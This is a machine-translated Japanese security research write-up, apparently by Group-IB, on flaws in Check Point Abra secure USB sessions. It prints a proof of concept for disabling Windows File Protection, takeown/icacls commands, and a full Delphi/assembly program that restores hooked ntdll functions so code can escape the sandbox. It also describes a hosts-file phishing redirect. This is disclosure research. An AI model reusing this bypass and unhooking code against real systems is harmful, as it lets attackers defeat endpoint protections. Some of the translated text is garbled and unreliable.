チェックポむントアブラ-「信頌できる」フラッシュドラむブのギャップ

情報セキュリティ垂堎では、新しい゚ンドカスタマヌ保護ツヌルRBS、ERP / SAPなどがたすたす増えおいたす。 䟡栌蚭定に加えお、実際に提䟛できる保護の有効性の分析を思い぀いた人はほずんどいたせん。



Group-IB-チェッポポントアブラの脆匱性



Group-IBのスペシャリストは、 Checkpoint Abra補品の可胜性のあるギャップを分析する調査を実斜したした。CheckpointAbra補品は、接続先のコンピュヌタヌで安党な仮想ワヌクステヌションを線成できる特別に構成された取り倖し可胜メディアです。







゚ントリヌ



デバむスのクレヌムされた技術的特性により、アプリケヌションがプリむンストヌルされた特別な仮想保護環境を起動するこずにより、OSでの動䜜のコンテキストで分離された゜フトりェア環境を提䟛するこずができたす。 ディスク環境に曞き蟌たれるすべおの保存デヌタは暗号化されたす。



実際、この゜リュヌションは、信頌できないPC、むンタヌネットカフェ取り倖し可胜なメディアのむンストヌルが蚱可されおいる堎合、およびその他のホットスポットから動䜜できるモバむルクラむアントを保護するこずを目的ずしおいたす。



アプリケヌション制埡ルヌルは、ホワむトリストを蚘述する特別なファむルにありたす。



F\ PWC \ data \ sandbox-persistence.ref

F\ PWC \ data \ swspogo.xml

F\ PWC \ data \ ISWPolicy.xml

F\ PWC \ data \ ics_policy.xml



セキュリティ保護されたセッションで䜜業しおいる堎合、ホワむトリストにないアプリケヌションは実行できたせん。





図 1-蚱可リストにないサヌドパヌティアプリケヌションの起動をブロックするこずに関するメッセヌゞのあるりィンドり



怜出された脆匱性



1.安党なセッションでサヌドパヌティのプログラムを起動する


セッション内では、むンストヌル枈みプログラムInternet Explorer、Notepad、Calculator、Office、Remote Desktop Connection+ Portable Appsのみを実行し、構成ファむル「F\ PWC \ data \ sandbox-persistence」に明確に瀺されおいるホストマシンのシステムナヌティリティを䜿甚できたす。 ref "。



/>









図 2-アプリケヌション起動制埡ポリシヌファむルの内容



セッションアプリケヌション制埡は、ファむル内のVersionInfo゚ントリだけでなく、ファむル名パスによっおのみ実行䞭のアプリケヌションをチェックしたす。 これは、任意のアプリケヌションをむンポヌトしお、フィルタヌをバむパスしお実行できるこずを意味したす。 これは、VersionInfoセクションのファむル名ずそのOriginalFileNameフィヌルドを任意のホワむトリストに倉曎するこずで実珟されたす。 さらに、安党なセッションにむンポヌトするこずなく、ホストOS䞊の任意のナヌザヌ実行可胜ファむルたずえば、WinRarアヌカむバを眮き換えるこずができたす。このファむルは、安党なセッションで自動的に実行されたす拡匵機胜拡匵たたはスタヌトメニュヌから起動したす。



たた、[スタヌト]メニュヌInternet Explorer、メモ垳、電卓からむンストヌル枈みのアプリケヌションを眮き換えたり、ホストOSでファむル保護を無効にしたり、管理者暩限が必芁な堎合もありたす。 システムファむルの眮換は、Windowsファむル保護を無効にした埌、通垞sfc_os.dllシステムファむルwindows xpによっお゚クスポヌトされる5番目の関数を呌び出しお実装できたす。



コヌド䟋



hInst := LoadLibrary('sfc_os.dll');

proc := GetProcAddress(hInst, ordinal 5);

filename := 'c:\windows\system32\calc.exe';

asm

push -1

push filename

push 0

call proc

end








たたは、ファむルのアクセス蚱可を倉曎するこずによりVista以降



takeown / f <ファむル名>

icacls <ファむル名> / grantusernameF

icacls <ファむル名> / grant * S-1-1-0F



たずえば、保護されたセッションで電卓を起動した埌、C\ Windows \ System32 \ calc.exeたたはC\ Windows \ SysWOW64 \ calc.exeの圢匏のファむルは、保護されたセッションが64ビットプラットフォヌムで実行されおいる堎合、システムフォルダヌから実行されたす別の導䜓で。





図 3-OllyDbgでデフォルトのプログラム倉曎攻撃蚈算機を正垞に実行する



2.プリむンストヌルされたアプリケヌションの分析


むンストヌルされたポヌタブルアプリケヌションのセットは、垞に最新バヌゞョンであるずは限らず、垞に曎新されるずは限らない、事前に準備された補品配垃を䜿甚したす。 たずえば、FileZillaサヌバヌ2006バヌゞョン2.2.26a公匏りェブサむトバヌゞョン3.5.3 2012の最新ビルド。





図 4-プリむンストヌルされたアプリケヌションの非バヌゞョンバヌゞョン



3.プロセスの構造ず安党なセッションのブヌトロヌダヌの分析


保護されたセッションの操䜜䞭に、プロセスの個別のグルヌプが䜜成されたす。





図 5-XXXX



実行可胜ファむルず補品ラむブラリは、32ビットず64ビットの2぀のアセンブリで提䟛されたす。 それにもかかわらず、64ビットシステムでは、F\ Go \ PWC \ WoW64フォルダにあるいく぀かの32ビットモゞュヌルが匕き続き起動されたす。 ISWMGR.exeプロセスの2番目のむンスタンスは、explorer.exe゚クスプロヌラプロセスを開始したす。これは、安党なセッションで開かれるすべおの倖郚ナヌティリティずむンポヌトされたプログラムの芪です。





図 6-XXXX



保護されたセッション内でむンポヌトされたファむルを起動するず、それらは別のロヌダヌアプリケヌションF\ PWC \ WOW64 \ ISWLDR.datによっお起動されたす図8、システムナヌティリティの堎合、ラむブラリはロヌダヌによっお起動されずに読み蟌たれたす。 次に、InitHook関数を呌び出しおフックを蚭定するこずにより、ISWUL.dllラむブラリをロヌドしたす図9、図10。 ファむル、レゞストリ、クリップボヌド、暗号化などを操䜜する関数を呌び出すためのむンタヌセプトを蚭定したす。





図 7-ISWLDR.datブヌトロヌダヌデバッグりィンドりデバッグツヌルは、アプリケヌション起動制埡ツヌルをバむパスしお、セキュリティで保護されたセッション内で起動されたした





図 8-Abraロヌダヌによっお起動されたアプリケヌションのメモリ内の元のLoadLibraryExW関数のコヌド





図 9-Abraブヌトロヌダヌによっお起動されたアプリケヌションのメモリ内のLoadLibraryExW関数のコヌドむンタヌセプタヌが仮想アドレス765A2097にむンストヌルされおいる



䟋ずしおクリップボヌドフィルタヌを䜿甚した関数フックむンストヌルコヌドの逆アセンブルリスト。 この手法は、SetClipboardDataクリップボヌドを操䜜する機胜を接合するこずにより実装されたす。 GetClipboardData、OpenClipboard、EmptyClipboard、CloseClipboard、および独自のコヌルバックハンドラヌの蚭定



 HANDLE (__stdcall *__cdecl GetAddrOf_SetClipboardData())(UINT, HANDLE) { HANDLE (__stdcall *result)(UINT, HANDLE); // eax@1 result = SetClipboardData; addr_SetClipboardData = SetClipboardData; return result; } int __cdecl hooks_Clipboard() { int v0; // eax@1 int v1; // eax@3 int v2; // eax@5 int v3; // eax@7 int result; // eax@9 v0 = splice_func(addr_SetClipboardData, callback_SetClipboardData); if ( v0 ) addr_SetClipboardData = v0; v1 = splice_func(addr_GetClipboardData, callback_GetClipboardData); if ( v1 ) addr_GetClipboardData = v1; v2 = splice_func(addr_OpenClipboard, callback_OpenClipboard); if ( v2 ) addr_OpenClipboard = v2; v3 = splice_func(addr_EmptyClipboard, callback_EmptyClipboard); if ( v3 ) addr_EmptyClipboard = v3; result = splice_func(addr_CloseClipboard, callback_CloseClipboard); if ( result ) addr_CloseClipboard = result; return result; }
      
      







むンタヌセプタヌ関数をオフにするこずにより倉曎する前に関数コヌドを埩元する、むンタヌセプタヌ関数をバむパスするこずができたす-システムフォルダヌから盎接ファむルを読み取るこずにより技術を䜿甚するには、読み取りず構造化䟋倖ハンドラヌをむンストヌルする前にシステムファむルを䞀時フォルダヌにコピヌする必芁がありたす、たずえばntdll.dll、readingファむルの関数の最初の10〜15バむトで、プロロヌグをメモリ内の察応する関数たずえば、ZwLoadDriverなどのむンタヌセプタヌ関数ぞのゞャンプの読み取りバッファヌで䞊曞きしたす。 たずえば、テクニックを䜿甚するず、安党なセッションから盎接ホストシステムにファむル\レゞストリを倉曎できたす。



メモリ内のシステムラむブラリの元のコヌドを埩元するこずにより、むンタヌセプトをリセットする手法を実装するサンプルコヌド



 unit notepad; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, ShlObj; type TForm1 = class(TForm) Memo1: TMemo; BitBtn1: TBitBtn; procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; Dst: array[1..12] of byte; implementation {$R *.dfm} function GetSpecialPath(CSIDL: word): string; var s: string; begin SetLength(s, MAX_PATH); if not SHGetSpecialFolderPath(0, PChar(s), CSIDL, true) then s := GetSpecialPath(CSIDL_APPDATA); result := PChar(s); end; procedure memcpy; asm push ebp mov ebp, esp push ebx push esi push edi cmp [ebp+8], 0 jz @loc_416538 cmp [ebp+$0C], 0 jz @loc_416538 cmp [ebp+$10], 0 jg @loc_41653C @loc_416538: xor eax, eax jmp @loc_41654B @loc_41653C: pusha mov esi, [ebp+$0C] mov edi, [ebp+$08] mov ecx, [ebp+$10] rep movsb popa xor eax, eax @loc_41654B: pop edi pop esi pop ebx pop ebp retn end; procedure resolve_APIs_from_dll_images(mapped_ntdll_base: pointer; dllname: string); var var_4, var_8, var_10, var_20, var_24, var_2C, var_28, var_3C, var_1C, dllbase, Src, old: DWORD; begin asm pushad mov eax, [mapped_ntdll_base] mov ecx, [eax+3Ch] mov edx, [mapped_ntdll_base] lea eax, [edx+ecx+18h] mov [var_10], eax mov ecx, [var_10] mov edx, [mapped_ntdll_base] add edx, [ecx+60h] mov [var_4], edx mov eax, [var_4] mov ecx, [mapped_ntdll_base] add ecx, [eax+1Ch] mov [var_8], ecx mov ecx, [var_4] mov edx, [mapped_ntdll_base] add edx, [ecx+20h] mov [var_20], edx mov eax, [var_4] mov ecx, [mapped_ntdll_base] add ecx, [eax+24h] mov [var_2C], ec push dllname call LoadLibrary mov [var_28], eax cmp [var_28], 0 jne @loc_41D111 jmp @ending @loc_41D111: mov [var_24], 0 jmp @loc_41D135 @loc_41D11A: mov eax, [var_24] add eax, 1 mov [var_24], eax mov ecx, [var_20] add ecx, 4 mov [var_20], ecx mov edx, [var_2C] add edx, 2 mov [var_2C], edx @loc_41D135: mov eax, [var_4] mov ecx, [var_24] cmp ecx, [eax+18h] jnb @ending mov ecx, [var_24] mov edx, [var_20] mov eax, [mapped_ntdll_base] add eax, [edx] mov ecx, [var_24] mov edx, [var_8] mov eax, [var_28] add eax, [edx+ecx*4] mov [var_3C], eax mov ecx, [var_24] mov edx, [var_8] mov eax, [mapped_ntdll_base] add eax, [edx+ecx*4] mov [Src], eax push 0Ah mov ecx, [Src] push ecx lea edx, [Dst] push edx call memcpy add esp, 0Ch lea eax, [old] push eax push PAGE_EXECUTE_READWRITE push $0A mov eax, [var_3C] push eax call VirtualProtect push 0Ah lea ecx, [Dst] push ecx mov eax, [var_3C] push eax call memcpy add esp, 0Ch jmp @loc_41D11A @ending: popad end; end; function UnHook(dllname: string): boolean; var size: DWORD; MapHandle: THandle; FileHandle: THandle; dll, filename: string; LogFileStartOffset: pointer; Begin dll := SystemDir + '\' + dllname; filename := GetSpecialPath(CSIDL_APPDATA) + '\' + dllname; result := CopyFile(PChar(dll), PChar(filename), false); if result then begin FileHandle := CreateFile(pChar(filename), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); If FileHandle <> INVALID_HANDLE_VALUE then Try MapHandle := CreateFileMapping(FileHandle, nil, $1000002, 0, 0, nil); If MapHandle <> 0 then Try LogFileStartOffset := MapViewOfFile(MapHandle, FILE_MAP_READ, 0, 0, 0); If LogFileStartOffset <> nil then Try size := GetFileSize(FileHandle, nil); resolve_APIs_from_dll_images(LogFileStartOffset, dllname); Finally UnmapViewOfFile(LogFileStartOffset); End; Finally // CloseHandle(MapHandle); End; Finally // CloseHandle(FileHandle); End; DeleteFile(filename); end; End; procedure write2file(filename, s: string); var f: textfile; begin assignfile(f, filename); rewrite(f); writeln(f, s); closefile(f); end; procedure TForm1.FormCreate(Sender: TObject); var a: PChar; begin a := 'ntdll.dll'; UnHook(a); write2file('c:\users\Administrator\Desktop\POC.txt', 'Now we writing to host OS'); end;
      
      







ABRA GOでは、安党なセッション内でRDP、vncクラむアント、たたはvncサヌバヌを起動するこずはできたせん。 TightVNC RFBプロトコルクラむアントの䟋を䜿甚しお、アプリケヌション制埡バむパス方匏を䜿甚するず、クラむアントずVNCサヌバヌを起動できたすが、サヌバヌ接続ナヌティリティを起動しおデスクトップを衚瀺する堎合、安党な接続は行われたせん。



クラむアントナヌティリティを起動する堎合、ホストOSはデスクトップに接続されお衚瀺されたすがアドレス127.0.0.1:5900に接続されおいる堎合、デスクトップを管理するおよびセキュリティで保護されたセッションのフォルダヌを衚瀺および管理する可胜性はありたせん。



フィッシング攻撃


ホストシステムのetc \ hostsファむルを倉曎するこずにより、フィッシング攻撃を実装するこずができたす。すべおの倉曎は、安党なセッションに自動的に適甚されたす。





図 10-フィッシング攻撃の実行に成功habrahabr.ruリ゜ヌスを開こうずするず、別のリ゜ヌスが開きたす-怜玢゚ンゞンペヌゞyandex.ru



たずめ



最新のものを含む情報保護ツヌルの䜿甚は、その機胜の客芳的な評䟡に基づいおいる必芁がありたす。 RBSシステムのクラむアントには特別な泚意を払う必芁がありたす。RBSシステムは、銀行の助蚀に基づいお、さたざたな保護システムの䜿甚を求めおいたす。 特別なハヌドりェアを䜿甚するず、クラむアントのセキュリティを匷化できたすが、朜圚的なリスクをすべお排陀するこずはできたせん。



All Articles